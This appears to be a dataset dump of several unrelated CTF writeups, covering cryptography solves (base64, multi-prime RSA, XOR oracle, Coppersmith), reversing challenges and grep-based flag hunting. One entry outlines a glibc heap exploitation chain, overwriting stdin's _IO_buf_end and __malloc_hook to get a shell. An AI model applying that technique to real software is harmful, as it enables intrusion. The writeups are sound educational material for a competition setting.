text_chunk
stringlengths
151
703k
# Crypto # Base646464```Encoding something multiple times makes it exponentially more secure!Files: cipher.txt generate.js``` In `cipher.txt`, there seems to be a very large base64 message, and in `generate.js`, there is:``` jsconst btoa = str => Buffer.from(str).toString('base64'); const fs = require("fs");const flag = fs.readFileSync("flag.txt", "utf8").trim(); let ret = flag;for(let i = 0; i < 25; i++) ret = btoa(ret); fs.writeFileSync("cipher.txt", ret);``` `generate.js` encode the flag 25 times in base64, we can reverse what this script do but, i want to use my BaseCracker software (https://github.com/skyf0l/BaseCracker):```$ ./basecracker.py `cat ~/Downloads/cipher.txt`Cipher: [...] [...]Apply base64: VjIweE5HRkdiM3BrU0U1T1VrVktlVmw2UlRWak1ERllaRWQ0V1UxcldtMVphMUpEVFVabmVVOVhNVmxsYkd0M1dYcE5kMUJSUFQwPQ==Apply base64: V20xNGFGb3pkSE5OUkVKeVl6RTVjMDFYZEd4WU1rWm1Za1JDTUZneU9XMVllbGt3WXpNd1BRPT0=Apply base64: Wm14aFozdHNNREJyYzE5c01XdGxYMkZmYkRCMFgyOW1YelkwYzMwPQ==Apply base64: ZmxhZ3tsMDBrc19sMWtlX2FfbDB0X29mXzY0c30=Apply base64: flag{l00ks_l1ke_a_l0t_of_64s} Decode order: base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64,base64Plaintext: flag{l00ks_l1ke_a_l0t_of_64s}``` The flag is: `flag{l00ks_l1ke_a_l0t_of_64s}` # 4k-rsa```Only n00bz use 2048-bit RSA. True gamers use keys that are at least 4k bits long, no matter how many primes it takes...File: 4k-rsa-public-key.txt``` In `4k-rsa-public-key.txt`, there is:```n: 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877e: 65537c: 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171``` It's a RSA encryption, we can see all factors of n with http://www.factordb.com:```N = 9353689450544968301 * 9431486459129385713 * 9563871376496945939 * 9734621099746950389 * 9736426554597289187 * 10035211751896066517 * 10040518276351167659 * 10181432127731860643 * 10207091564737615283 * 10435329529687076341 * 10498390163702844413 * 10795203922067072869 * 11172074163972443279 * 11177660664692929397 * 11485099149552071347 * 11616532426455948319 * 11964233629849590781 * 11992188644420662609 * 12084363952563914161 * 12264277362666379411 * 12284357139600907033 * 12726850839407946047 * 13115347801685269351 * 13330028326583914849 * 13447718068162387333 * 13554661643603143669 * 13558122110214876367 * 13579057804448354623 * 13716062103239551021 * 13789440402687036193 * 13856162412093479449 * 13857614679626144761 * 14296909550165083981 * 14302754311314161101 * 14636284106789671351 * 14764546515788021591 * 14893589315557698913 * 15067220807972526163 * 15241351646164982941 * 15407706505172751449 * 15524931816063806341 * 15525253577632484267 * 15549005882626828981 * 15687871802768704433 * 15720375559558820789 * 15734713257994215871 * 15742065469952258753 * 15861836139507191959 * 16136191597900016651 * 16154675571631982029 * 16175693991682950929 * 16418126406213832189 * 16568399117655835211 * 16618761350345493811 * 16663643217910267123 * 16750888032920189263 * 16796967566363355967 * 16842398522466619901 * 17472599467110501143 * 17616950931512191043 * 17825248785173311981 * 18268960885156297373 * 18311624754015021467 * 18415126952549973977``` Now, we can decrypt the cipher:``` pytyhon$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) [GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> primes = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977]>>> N = 1>>> for prime in primes:... N *= prime... >>> N == 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877True>>> e = 65537>>> phi = 1>>> for prime in primes:... phi *= (prime - 1)... >>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171>>> plaintext = pow(cipher, d, N)>>> print plaintext706900059475106681301586714568958471062774799484906508017771377121899901>>> print hex(plaintext)[2:-1].decode('hex')flag{t0000_m4nyyyy_pr1m355555}``` The flag is: `flag{t0000_m4nyyyy_pr1m355555}` ## Itsy-bitsy```The itsy-bitsy spider climbed up the water spout... nc 2020.redpwnc.tf 31284File: itsy-bitsy.py``` We have the script running on netcat in `itsy-bitsy.py`:``` python#!/usr/bin/env python3 from Crypto.Random.random import randint def str_to_bits(s): bit_str = '' for c in s: i = ord(c) bit_str += bin(i)[2:] return bit_str def recv_input(): i = input('Enter an integer i such that i > 0: ') j = input('Enter an integer j such that j > i > 0: ') try: i = int(i) j = int(j) if i <= 0 or j <= i: raise Exception except: print('Error! You must adhere to the restrictions!') exit() return i,j def generate_random_bits(lower_bound, upper_bound, number_of_bits): bit_str = '' while len(bit_str) < number_of_bits: r = randint(lower_bound, upper_bound) bit_str += bin(r)[2:] return bit_str[:number_of_bits] def bit_str_xor(bit_str_1, bit_str_2): xor_res = '' for i in range(len(bit_str_1)): bit_1 = bit_str_1[i] bit_2 = bit_str_2[i] xor_res += str(int(bit_1) ^ int(bit_2)) return xor_res def main(): with open('flag.txt','r') as f: flag = f.read() for c in flag: i = ord(c) assert i in range(2**6,2**7) flag_bits = str_to_bits(flag) i,j = recv_input() lb = 2**i ub = 2**j - 1 n = len(flag_bits) random_bits = generate_random_bits(lb,ub,n) encrypted_bits = bit_str_xor(flag_bits,random_bits) print(f'Ciphertext: {encrypted_bits}') if __name__ == '__main__': main()``` For exemple:```$ nc 2020.redpwnc.tf 31284Enter an integer i such that i > 0: 5Enter an integer j such that j > i > 0: 12Ciphertext: 0001111101011111100111111010110001100100000011011001110000101100100100010011110100000101010101111110101101000110100000110001110000100100100001011111100100001001010101000101100100101111100010101010010001100011000100000000001101101101001000100111000000110101000010111110000010011110000001000110001011111``` The flag is xored with a key generated with random numbers between `2**i` (`2**5 = 32`) and `2**j - 1` (`2**12 - 1 = 4095`) but we can't guess them In fact, we can guess a few bits at a time For exemple, with i = 2 and j = 3, random numbers can be from 4 to 7 and their binary values are:``` python>>> bin(4)[2:]'100'>>> bin(5)[2:]'101'>>> bin(6)[2:]'110'>>> bin(7)[2:]'111'```Then, the key is composed by packs of 3 bits and the first bit af all packs is `1`, so all bits at positions multiple of 3 are xored by one In general, for `i = n` and `j = n + 1`, all bits at positions multiple of n are xored by one We can make a script to solve it:``` python#!/usr/bin/python2import socketimport random TCP_IP = '2020.redpwnc.tf'TCP_PORT = 31284BUFFER_SIZE = 1024 '''bin(1)[2:] == 10bin(2)[2:] == 11-> all 2n bit is cipher_bit ^ 1''' res = ['_'] * 301 size = 2 while '_' in res[2:]: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.recv(BUFFER_SIZE) s.send(str(size - 1) + '\n') s.recv(BUFFER_SIZE) s.send(str(size) + '\n') data = s.recv(BUFFER_SIZE) cipher = data[len('Ciphertext: '):][:-1] for k in range(0, len(cipher), size): res[k] = str(int(cipher[k]) ^ 1) print(''.join(res)) size += 1``` Execute it and we get `1_00110110110011000011100111111101111000101101001111010011100111011111110110011001011100001110101111010011101110110011110111111101111111010111101001011111110010011011111110111110111010111111110100110100011001011011111111011111000011110100110010111100101011111111001111100001101111111010111101001111101`, but we can't find the second char with this technique No problems, because with `1`, it's `Flag{bits_leaking_out_down_the_water_spout}` and with 1 is `flag{bits_leaking_out_down_the_water_spout}` The flag is: `flag{bits_leaking_out_down_the_water_spout}`
extract the zip file, we get this ciphertext. ꍦ鱡映㸺ꅙ饯?啤啳???魴餠???遯??顲啹???啤?啩灧鵳?楪扴詽鸭餫?怴㸊ꍦ鱡朠㸺攳攳昳昳攳昳攳攳攲攳昳昳昳攳攳昳攳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳攳昳昳攳昳攳攳攲攳昳昳昳攳昳昳昳攲攳攳昳昳攳攳昳昳攲攳昳昳昳攳攳昳昳攲攳攳昳昳攳攳攳攳攲攳昳昳攳昳昳攳昳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳昳昳昳攳昳昳昳攲攳昳昳攳昳攳攳昳攲攳攳昳昳攳昳昳昳攲攳昳昳攳昳攳攳攳㸊ꍦ鱡栠㸺襍?襍?襍?襍?襍?祍?襍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?襍?祍?襍?祍?祍?襍?祍?襍?襍?襍?襍?祍?祍?襍?襍?襍?襍?祍?襍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?襍?襍?祍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?襍?襍?襍?襍?襍?癍爽ᔊ use base65536 decoder tool and we will get this: flag 1:Yjod od s lrunpstf djogy vo[jrtyrcy jrtr od upi g;sh xj4t-}U-i+dit4+ flag 2:3030313130313030203031313130303130203030313130303131203031303131313131203030313130313030203031313130313131203030313130303131203031313130303131203030313130303030203031313031313031203030313130303131203031303131313131203031313130313131203031313031303031203030313130313131203031313031303030 flag 3:MTExMTExMTExMTAwMTAwMDEwMTAxMDExMTAxMDExMTExMTEwMTAxMTExMTExMTExMDExMDExMDExMDExMDAwMDAxMTAxMDAxMDAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAwMDAwMDAwMDAwMTAxMDAwMTAxMDAxMDAwMTAxMDAxMTExMTExMTAwMTAxMDAxMDExMTExMTExMTAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMTAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxMDEwMDAwMDAwMDAxMDEwMDExMDAwMDAwMDAxMDEwMDAxMDEwMTExMTAwMTAxMDAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDExMDExMDExMTExMTExMTExMTAwMTAxMA== flag 1 :qwerty-shifted keyboard > original:zh3r0{Y0u_sur3_ flag 2 :hex > binary > ascii:4r3_4w3s0m3_wi7h flag 3 base64 > binary > spoon:_411_7h3_ski115} combine all and get the flagzh3r0{Y0u_sur3_4r3_4w3s0m3_wi7h_411_7h3_ski115}
Leverage the allocation without size limit to mmap a chunk near libc. Leak will then be given and offset can be determined through debugging. Use the one byte write of 0x30 to change the second lowest byte of `_IO_buf_end` in `_IO_2_1_stdin_` when it is 0x2a (bruteforcing is required in my solution). Carefully start writing down towards `__malloc_hook` to replace it with a one gadget while preserving the file structures' contents. The last scanf call with %ms will trigger the heap, leading you to shell.
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._ ### Challenges - #### Warm up challenges ___ #### Clisays ![chal image](./CLIsays.png "Clisays") ##### Solution ![sol image](./moo.png "Clisays_sol") 1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene ![chal image](./metameme.png "meta") ##### Solution ![sol image](./metasol.png "meta_sol") 1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} --- - #### Forensics challenges ___ #### Microsooft ![chal image](./Microsooft.png "micro") ##### Solution ![sol image](./solmicro.png "sol1") ![sol image](./solmicro2.png "sol2") 1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie ![chal image](./cowpie.png "cowpie") ##### Solution ![sol image](./solcowpie.png "solcow") 1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___ - #### Mobile challenges ___ #### Candroid ![chal image](./candroid.png "candroid") ##### Solution ![sol image](./solcandroid.png "Candroid_sol") ![sol image](./solcand2.png "Candroid_sol") 1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App ![chal image](./simpleapp.png "simpleapp") ##### Solution ![sol image](./solsimple1.png "simple_sol") ![sol image](./solsimple2.png "simple_sol") 1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng} > Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___ - #### Miscellaneous challenges ___ #### Vortex ![chal image](./vortex.png "vortex") ##### Solution ![sol image](./solvortex.png "vortex_sol") 1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File ![chal image](./fakefile.png "fakefile") ##### Solution ![sol image](./solfakefile.png "fakefile_sol") 1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___ #### Summary These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever. > grep -r -i "flag{.*}" .![sol image](./elmo.png "fakefile_sol") Thanks for reading.. . . But hey, here is a bonus section of OSINT chals ;) - #### OSINT challenges ___ #### Time Keeper ![chal image](./timekeeper.png "timekeeper") ##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole. ![sol image](./webpage.png "time_sol") 2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine ![sol image](./waybackmachine.png "time_sol") 3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . . ![sol image](./waybackmachine2.png "time_sol") 4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot ![sol image](./waybackmachine3.png "time_sol") 5. Flag... . . ![sol image](./flag.png "time_sol") > JCTF{the_wayback_machine} ___ #### New Year Resolution ![chal image](./newyearresol.png "new") ##### Solution ![sol image](./solnewyears.png "new_sol") 1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta ![chal image](./Finsta.png "finsta") ##### Solution ![sol image](./solFinsta.png "finsta_sol") 1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron ![chal image](./Tron.png "tron") ##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. . ![sol image](./trongit.png "tron_sol") 2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. ![sol image](./tronflag.png "tron_sol") 5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___ #### Thanks for reading <3#### by team - ChadSec
[original writeup](https://github.com/ctfwaifu/writeups-2020/tree/master/Zh3r0-ctf/snakes_everywhere)```pythondef ss_reverse(): key = 'I_l0v3_r3v3r51ng' cipher = '⋊⚗ᖂᕝᘜ\u187cᶪ㗛᜔\u2fe7ᘓヱᎷጱ\u2d2c\u2e54᮹⪾ゖণ㉒\u139b⠪㗹G\x1e\\\x1cjU\x07\x14(,\x1f\x03\x1bQ3\x0bl\x1f@RC\x02\x1c\x1e\x16\x1aXC\x0fN' l_f = 38 # known length of flag f = '' for i in range(l_f // 3): f += chr(int( (ord(cipher[i]) + i) / ord(key[i]) )) for i in range(l_f // 3, l_f // 3 * 2): f += chr(int(( ord(cipher[i]) - i ) / ord(key[i % len(key)]))) for i in range(24,54): f += xor(key[i % 16], cipher[i]) print(f) def xor(str1, str2): return chr(ord(str1) ^ ord(str2)) ss_reverse()``` output : ```zh3r0{Python_disass3mblython_disass3mbly_is v3ry_E4sy}``` flag: ```zh3r0{Python_disass3mbly_is_v3ry_E4sy}```
# bubbly**Category:** Rev **Points:** 395 **Description:**> It never ends>> `nc 2020.redpwnc.tf 31039`>> **Author:** dns>> **Given:** bubbly ## WriteupThe first thing I did here was run the program. Seems like we have to do somekind of sorting.```$ ./bubblyI hate my data structures class! Why can't I just sort by hand?1232Try again!``` After playing with it for a minute or so, I decided to open it up in **Ghidra**.Looks like we have the methods **main**, **check**, and **print_flag**: **main:**```int main(void) { uint32_t i; int unused; _Bool pass; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("I hate my data structures class! Why can\'t I just sort by hand?"); pass = false; while( true ) { __isoc99_scanf(&DAT_00102058); if (8 < i) break; nums[i] = nums[i] ^ nums[i + 1]; nums[i + 1] = nums[i + 1] ^ nums[i]; nums[i] = nums[i] ^ nums[i + 1]; pass = check(); } if (pass == false) { puts("Try again!"); } else { puts("Well done!"); print_flag(); } return 0;}``` **check:**```_Bool check(void) { uint32_t i; _Bool pass; i = 0; while( true ) { if (8 < i) { return true; } if (nums[i + 1] < nums[i]) break; i = i + 1; } return false;}``` **print_flag:**```void print_flag(void) { int unused; system("cat flag.txt"); return;}``` Seems like the goal here is to reach this **print_flag** method, but we have tofind out how. The while loop in the **main** method seems to be taking an already-definedarray and swapping two of the values.```while( true ) { __isoc99_scanf(&DAT_00102058); if (8 < i) break; nums[i] = nums[i] ^ nums[i + 1]; nums[i + 1] = nums[i + 1] ^ nums[i]; nums[i] = nums[i] ^ nums[i + 1]; pass = check();}``` The check method being called at the end of the while loop pretty much just makessure this array is *sorted*. It looks like the only way to break out of this loopis to enter a number greater than 8. Let's take a look at our array:```nums00104060 [0] 1h, Ah, 3h, 2h00104070 [4] 5h, 9h, 8h, 7h00104080 [8] 4h, 6h``` nums = [1, 10, 3, 2, 5, 9, 8, 7, 4, 6] Now, our job here is to sort the array by calling an index of the array for theprogram to swap that index with the index (i) with the index after it (i+1).There are many routes to take for sorting this, but here is mine (the bold valuesare the *swapped* values): *0 1 2 3 4 5 6 7 8 9 --- index values* [1, 10, 3, 2, 5, 9, 8, 7, 4, 6] --- original [1, **3**, **10**, 2, 5, 9, 8, 7, 4, 6] --- (enter "1") [1, 3, **2**, **10**, 5, 9, 8, 7, 4, 6] --- (enter "2") [1, 3, 2, **5**, **10**, 9, 8, 7, 4, 6] --- (enter "3") [1, 3, 2, 5, **9**, **10**, 8, 7, 4, 6] --- (enter "4") [1, 3, 2, 5, 9, **8**, **10**, 7, 4, 6] --- (enter "5") [1, 3, 2, 5, 9, 8, **7**, **10**, 4, 6] --- (enter "6") [1, 3, 2, 5, 9, 8, 7, **4**, **10**, 6] --- (enter "7") [1, 3, 2, 5, 9, 8, 7, 4, **6**, **10**] --- (enter "8") [1, **2**, **3**, 5, 9, 8, 7, 4, 6, 10] --- (enter "1") [1, 2, 3, 5, 9, 8, **4**, **7**, 6, 10] --- (enter "6") [1, 2, 3, 5, 9, **4**, **8**, 7, 6, 10] --- (enter "5") [1, 2, 3, 5, **4**, **9**, 8, 7, 6, 10] --- (enter "4") [1, 2, 3, **4**, **5**, 9, 8, 7, 6, 10] --- (enter "3") [1, 2, 3, 4, 5, 9, 8, **6**, **7**, 10] --- (enter "7") [1, 2, 3, 4, 5, 9, **6**, **8**, 7, 10] --- (enter "6") [1, 2, 3, 4, 5, **6**, **9**, 8, 7, 10] --- (enter "5") [1, 2, 3, 4, 5, 6, 9, **7**, **8**, 10] --- (enter "7") [1, 2, 3, 4, 5, 6, **7**, **9**, 8, 10] --- (enter "6") [1, 2, 3, 4, 5, 6, 7, **8**, **9**, 10] --- (enter "6") **nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]** And now it's sorted! Let's get the flag:```$ nc 2020.redpwnc.tf 31039I hate my data structures class! Why can't I just sort by hand?1234567816543765767999999Well done!flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}``` ## Flagflag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff} ## Resources[Ghidra](https://ghidra-sre.org/)
## Seekrypt >Secrets encrypted. ### Challenge ```py#!/usr/bin/env python3 from Crypto.Util.number import *import random flag = open('flag.txt','rb').read()assert len(flag) < 100 def gen(bits): while True: alpha = getPrime(bits) beta = getPrime(bits) mod = alpha*beta x = random.randint(1, mod) y = alpha^(bytes_to_long(flag[len(flag)//2:])<<0x1f0) if pow(beta**2*x,(alpha-1)//2,alpha) + pow(alpha**2*x,(beta-1)//2,beta) == alpha+beta-2: break return (x,y), mod def encrypt(m,p,k): m = bin(bytes_to_long(m))[2:] x,a = p c = [] for b in m: while True: y = random.randint(1,k) if GCD(y,k) == 1: c.append((x**int(b)*y**2)%k) break return c a,b = gen(1024)encrypted = encrypt(flag[:len(flag)//2],a,b)print(encrypted, a[1], b)``` ### Solution This challenge has the flag cut in half and hidden with two different puzzles. We see that the second half of the flag is used to create the integer `y` which is given as output. Although there's a lot more going on in the challenge, we can immediately find the second half of the flag from the following data: ```pyflag = open('flag.txt','rb').read()assert len(flag) < 100alpha = getPrime(bits)beta = getPrime(bits)mod = alpha*betay = alpha^(bytes_to_long(flag[len(flag)//2:])<<0x1f0)``` We understand `mod = alpha * beta = N` as a composite of two large primes and so we should be thinking about this as an RSA-like challenge. The first thing we notice is that flag has at most `100` bytes, and so has a maximum bit length of `800`. Cutting that in half, we have the maximum of `400` bits for `bytes_to_long(flag[len(flag)//2:])`. This quantity is then bit-shifted by `0x1f0 = 496`, such that the integer `bytes_to_long(flag[len(flag)//2:])<<0x1f0` will have `0` as the bottom most `496` bits, and will have a maximum bit-length of `400 + 496 = 896` We now know that a `1024` bit prime is XORd with a (at most) `896` bit flag-fragment with `496` trailing zeros. This means from the given `y = alpha^flag_half` we know that the bottom `496` bits and the top `1024 - 896` will be the same as the bits of `alpha`. From this, we can apply a Coppersmith attack on `alpha` to recover it from the known bits. To use `small_roots()` we need to write `alpha` as a polynomial, we can do this with ```pyalpha = MSB + x*(1 << 498) + LSB ``` For some unknown `x`, and known bits `MSB, LSB`, which we can calculate ```max_flag = 400lower_mask = 496known_upper = (1024 - max_flag - lower_mask)upper_mask = (1024 - known_upper)known_bits = lower_mask+known_upper MSB = y & (((1 << upper_mask) - 1) << upper_mask)LSB = y & ((1 << lower_mask) - 1)``` Finally, to use `small_roots`, we want to rewrite this function such that `x` has no multiplicative factor, which we do by finding the inverse of `(1 << 496) mod N`. ```pyPR.<x> = PolynomialRing(Zmod(N)) r = 1 << (lower_mask)ir = inverse_mod(r, N) f = x + (MSB + LSB) * irroots = f.small_roots(X=2^(1024 - known_bits), beta=0.45, epsilon=1/64)if roots: root = int(roots[0]) kalpha = root + (msb_part + lsb_part) * ir alpha = gcd(N, kalpha) assert alpha != 1, "Fail" assert alpha != N, "Fail" print(alpha)``` The output of `small_roots` gives us the value for `x`, which we can then use to reconstruct `alpha` by simply performing `alpha^y`. The second half of the flag is much much easier. We see that in the generation, a random integer `x` is found such that ```pow(beta**2*x,(alpha-1)//2,alpha) + pow(alpha**2*x,(beta-1)//2,beta) == alpha+beta-2``` This looks long and complicated, but it's actually pretty simple. The terms on the left hand side are in the form: `pow(p, q-1, q) * pow(x,(q-1)//2,q)` for primes `{p,q}`. From Fermat's little theorem, we know that `pow(q, p-1, p) = 1`, and `pow(x,(p-1)//2,p)` calculates the Legendre symbol for `x`. The values for `pow(x,(p-1)//2,p)` take values in `{0,1,-1} mod p` and so we see the equation simplifies to ```pow(x,(alpha-1)//2,alpha) + pow(x,(beta-1)//2,beta) == 